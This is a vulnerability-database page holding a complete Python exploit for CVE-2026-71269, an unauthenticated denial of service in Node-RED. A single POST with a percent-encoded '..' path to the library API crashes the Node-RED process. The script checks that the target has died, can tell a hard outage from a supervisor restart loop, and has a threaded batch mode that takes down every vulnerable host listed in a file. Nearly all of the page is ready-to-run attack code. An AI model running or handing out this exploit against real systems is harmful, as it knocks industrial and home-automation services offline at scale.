📄 Node-RED 5.0.4 Unauthenticated Denial of Service
| Reporter | Title | Published | Views | Family All 6 |
|---|---|---|---|---|
| CVE-2026-71269 | 5 Aug 202615:08 | – | circl | |
| CVE-2026-71269 | 5 Aug 202612:26 | – | cve | |
| CVE-2026-71269 Node-RED Library API Path Traversal Leading to Arbitrary File Read/Write | 5 Aug 202612:26 | – | cvelist | |
| EUVD-2026-53354 | 5 Aug 202612:26 | – | euvd | |
| CVE-2026-71269 | 5 Aug 202613:24 | – | nvd | |
| CVE-2026-71269 Node-RED Library API Path Traversal Leading to Arbitrary File Read/Write | 5 Aug 202612:26 | – | vulnrichment |
#!/usr/bin/env python3
"""
CVE-2026-71269 - Node-RED unauthenticated remote denial of service via a discarded
write promise in the library save path.
Affected: Node-RED 3.0.0 through 5.0.4 (latest, unpatched) running on Node.js >= 15
Type: DoS (unhandled promise rejection -> uncaughtException -> process.exit(1))
A single unauthenticated request, POST /library/local/functions/.., makes
saveLibraryEntry() join the attacker path to the library root. The bare ".." segment
passes the is_malicious() blocklist (it only rejects "../" and "..\\") and normalises
to the library directory itself. util.writeFile() then tries to rename its temp file
over that directory, fails with EISDIR, and rejects. Its promise is discarded by the
caller, so on Node.js >= 15 the rejection becomes an uncaught exception and Node-RED's
own handler calls process.exit(1). The HTTP layer has already answered 204.
NOTE ON SCOPE: this CVE is filed as a path traversal with arbitrary file read/write.
That is not reproducible - the is_malicious() guard blocks every traversal encoding
tested. The reproducible impact is denial of service only. This exploit does not
claim, and does not attempt, file read, file write or code execution.
WARNING: this is destructive and one-shot. A successful run terminates the target
Node-RED process. It stays down until an operator or supervisor restarts it. In
--list mode every vulnerable host in the file is taken down.
Usage:
python exploit.py --host <target> --port <port>
python exploit.py --host 192.168.1.10 --port 1880
python exploit.py --host https://192.168.1.10:8443
python exploit.py --host http://nodered.corp.com/admin # httpAdminRoot prefix
python exploit.py --host 192.168.1.10 --token <bearer> # if adminAuth is set
python exploit.py --list targets.txt --workers 20
"""
import argparse
import http.client
import json
import socket
import ssl
import sys
import time
from urllib.parse import urlparse
CVE_ID = "CVE-2026-71269"
VULN_TYPE = "DoS"
# Bare ".." percent-encoded. Express decodes the route capture before is_malicious()
# runs, so this is equivalent to a literal "..", but no HTTP client or proxy on the
# way will collapse it out of the path. A trailing slash would make the capture "../",
# which the guard blocks, so there is none.
TRAVERSAL = "%2e%2e"
# saveLibraryEntry() force-appends ".json" for the "flows" type, which turns ".." into
# the harmless filename "...json". Only these two types reach the bug.
LIB_TYPES = ("functions", "templates")
TRIGGER_BODY = json.dumps({"text": "x"})
UA = "Mozilla/5.0 (compatible)"
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# network primitives
# --------------------------------------------------------------------------- #
def _connect(host: str, port: int, use_tls: bool, timeout: float):
if use_tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
return http.client.HTTPConnection(host, port, timeout=timeout)
def _http(host, port, use_tls, method, target, body=None, token=None, timeout=10.0):
"""One request. Returns (status, body_text). Raises OSError on transport failure.
The request target is written verbatim, so percent-encoded dot segments survive
to the server instead of being normalised away by the client.
"""
conn = _connect(host, port, use_tls, timeout)
try:
headers = {"Accept": "application/json", "User-Agent": UA}
if token:
headers["Authorization"] = "Bearer " + token
data = None
if body is not None:
data = body.encode()
headers["Content-Type"] = "application/json"
headers["Content-Length"] = str(len(data))
conn.request(method, target, body=data, headers=headers)
resp = conn.getresponse()
payload = resp.read()
return resp.status, payload.decode("utf-8", "replace")
finally:
try:
conn.close()
except Exception:
pass
def _tcp_alive(host: str, port: int, timeout: float = 3.0) -> bool:
"""True if the port completes a TCP handshake."""
try:
s = socket.create_connection((host, port), timeout=timeout)
s.close()
return True
except OSError:
return False
def _admin_base(path: str) -> str:
"""Normalise an httpAdminRoot prefix into a bare base with no trailing slash."""
base = (path or "/").rstrip("/")
return base
def _watch_liveness(host, port, use_tls, base, token, window, quiet=True):
"""Poll the target for `window` seconds after the trigger.
Returns (died, recovered, timeline). `died` is the evidence that matters: the
process was answering before the request and stopped answering after it.
`recovered` distinguishes a hard down from a supervisor restart loop.
"""
died = False
recovered = False
timeline = []
deadline = time.time() + window
while time.time() < deadline:
elapsed = round(window - (deadline - time.time()), 1)
if not _tcp_alive(host, port, timeout=2.0):
state = "connection refused"
if not died:
died = True
else:
try:
status, _ = _http(host, port, use_tls, "GET",
base + "/library/local/flows", token=token, timeout=5.0)
state = f"HTTP {status}"
if died:
recovered = True
except OSError as exc:
state = f"no HTTP response ({exc.__class__.__name__})"
if not died:
died = True
timeline.append((elapsed, state))
if not quiet:
print(f" t+{elapsed:>4}s {state}")
# Once we have both a death and a recovery the verdict cannot change.
if died and recovered:
break
time.sleep(1.0)
return died, recovered, timeline
def _fire(host, port, use_tls, base, token, lib_type):
"""Send the trigger. Returns (status, body) or (None, reason) if the socket died."""
target = f"{base}/library/local/{lib_type}/{TRAVERSAL}"
try:
return _http(host, port, use_tls, "POST", target,
body=TRIGGER_BODY, token=token, timeout=10.0)
except OSError as exc:
# The process can die before the response is fully written. That is still a hit.
return None, f"{exc.__class__.__name__}: {exc}"
# --------------------------------------------------------------------------- #
# silent probe for --list mode
# --------------------------------------------------------------------------- #
def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
token=None, window: float = 12.0) -> tuple:
"""Silent probe. Returns (success, evidence). Never prints, never exits."""
base = _admin_base(path)
try:
status, _ = _http(host, port, use_tls, "GET",
base + "/library/local/flows", token=token, timeout=8.0)
except OSError as exc:
return False, f"unreachable ({exc.__class__.__name__})"
if status == 401:
return False, "401 - adminAuth is configured, a library.write token is required"
if status != 200:
return False, f"library API answered {status}, not a Node-RED admin endpoint"
for lib_type in LIB_TYPES:
status, body = _fire(host, port, use_tls, base, token, lib_type)
if status is None:
break # socket died mid-request, go straight to liveness
if status == 204:
break
if status == 400 and "Unknown library type" in body:
continue # this type is not registered, try the next
if status == 403:
return False, "403 forbidden - the path guard rejected the payload"
if status == 401:
return False, "401 - adminAuth is configured"
else:
return False, "no writable library type accepted the request"
time.sleep(1.5)
died, recovered, _ = _watch_liveness(host, port, use_tls, base, token, window)
if died and recovered:
return True, "process exited and was restarted by a supervisor (restart loop)"
if died:
return True, "process exited - port stopped accepting connections"
return False, "204 accepted but the service stayed up (Node.js <= 14, or patched)"
# --------------------------------------------------------------------------- #
# target parsing / scan mode
# --------------------------------------------------------------------------- #
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10,
token=None, window: float = 12.0) -> None:
"""Batch scan. Destructive: every vulnerable host in the file is taken down."""
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f" WARNING: destructive - a hit terminates the target process")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, path, token, window)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
marker = "[+]" if ok else "[-]"
verdict = "Exploited" if ok else "Not vulnerable"
print(f" {marker} {label} - {verdict}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# single target
# --------------------------------------------------------------------------- #
def exploit(host: str, port: int, use_tls: bool, path: str,
token=None, window: float = 20.0) -> None:
header(host, port)
base = _admin_base(path)
scheme = "https" if use_tls else "http"
step(1, f"Probing the admin API at {scheme}://{host}:{port}{base or '/'} ...")
try:
status, body = _http(host, port, use_tls, "GET",
base + "/library/local/flows", token=token, timeout=8.0)
except OSError as exc:
section("CONNECTION ERROR", f"{exc.__class__.__name__}: {exc}")
done(False, f"Target unreachable at {host}:{port} - nothing to exploit")
if status == 401:
section("SERVER RESPONSE", body)
done(False, "401 - adminAuth is configured; supply --token with library.write scope")
if status != 200:
section("SERVER RESPONSE", f"HTTP {status}\n{body}")
done(False, f"Library API returned {status}, expected 200 - not a Node-RED admin endpoint")
section("BASELINE - GET /library/local/flows", f"HTTP 200\n{body[:400]}")
print(" Service is alive and the library API is unauthenticated.\n")
step(2, "Firing the trigger: POST /library/local/<type>/%2e%2e with {\"text\":\"x\"}")
fired_type = None
fire_status = None
fire_body = ""
for lib_type in LIB_TYPES:
print(f" trying library type '{lib_type}' ...")
fire_status, fire_body = _fire(host, port, use_tls, base, token, lib_type)
if fire_status is None:
print(f" socket dropped mid-request: {fire_body}")
fired_type = lib_type
break
print(f" -> HTTP {fire_status}")
if fire_status == 204:
fired_type = lib_type
break
if fire_status == 400 and "Unknown library type" in fire_body:
continue
if fire_status == 403:
section("SERVER RESPONSE", fire_body)
done(False, "403 forbidden - the is_malicious() guard rejected the path; "
"the payload must be exactly '..' with no trailing slash")
if fire_status == 401:
section("SERVER RESPONSE", fire_body)
done(False, "401 - adminAuth is configured; supply --token")
if fired_type is None:
section("SERVER RESPONSE", f"HTTP {fire_status}\n{fire_body}")
done(False, "No writable library type accepted the request - target may be "
"running an unaffected configuration")
if fire_status == 204:
section("TRIGGER RESPONSE",
f"HTTP 204 No Content (library type '{fired_type}')\n"
"The API answered success before the write promise rejected. "
"204 alone proves nothing - the liveness check below is the evidence.")
step(3, f"Watching the service for {int(window)}s to confirm the process died ...")
time.sleep(1.5)
died, recovered, timeline = _watch_liveness(host, port, use_tls, base, token,
window, quiet=False)
trace = "\n".join(f"t+{t:>5}s {s}" for t, s in timeline)
section("LIVENESS TIMELINE (post-trigger)", trace)
if died and recovered:
section("SERVICE STATE",
"Port stopped accepting connections after the trigger, then began "
"answering again - the process was terminated and restarted by a "
"supervisor (systemd, docker --restart, pm2). The crash is confirmed; "
"the impact on this host is a restart loop rather than a hard outage.")
done(True, "CRASH CONFIRMED - one request terminated the Node-RED process "
"(supervisor restarted it; repeat to sustain the outage)")
if died:
section("SERVICE STATE",
"Port refused every connection after the trigger and never recovered. "
"The service was answering HTTP 200 immediately before the request. "
"One unauthenticated POST took it down permanently.")
done(True, "CRASH CONFIRMED - service went from HTTP 200 to connection refused "
"after a single unauthenticated request, and stayed down")
section("SERVICE STATE",
"The service kept answering for the whole observation window. The request "
"was accepted (204) but no crash followed. Likely causes: the target runs "
"Node.js 14 or older (an unhandled rejection is only a warning there), the "
"discarded-promise bug has been fixed, or a proxy in front of the target "
"rewrote the '..' segment out of the path.")
done(False, "Trigger accepted but the service stayed up - target does not appear "
"vulnerable")
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description=f"{CVE_ID} exploit PoC - Node-RED unauthenticated remote DoS",
epilog="DESTRUCTIVE: a successful run terminates the target Node-RED process.")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
"(e.g. https://host:8443/admin)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=1880,
help="Default port (default: 1880)")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
parser.add_argument("--token", default=None,
help="Bearer token, only needed if the target set adminAuth")
parser.add_argument("--confirm-window", type=float, default=20.0, dest="window",
help="Seconds to watch liveness after the trigger (default: 20)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
token=args.token, window=min(args.window, 12.0))
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, token=args.token, window=args.window)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
06 Aug 2026 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 3.17.2
EPSS0.0059
SSVC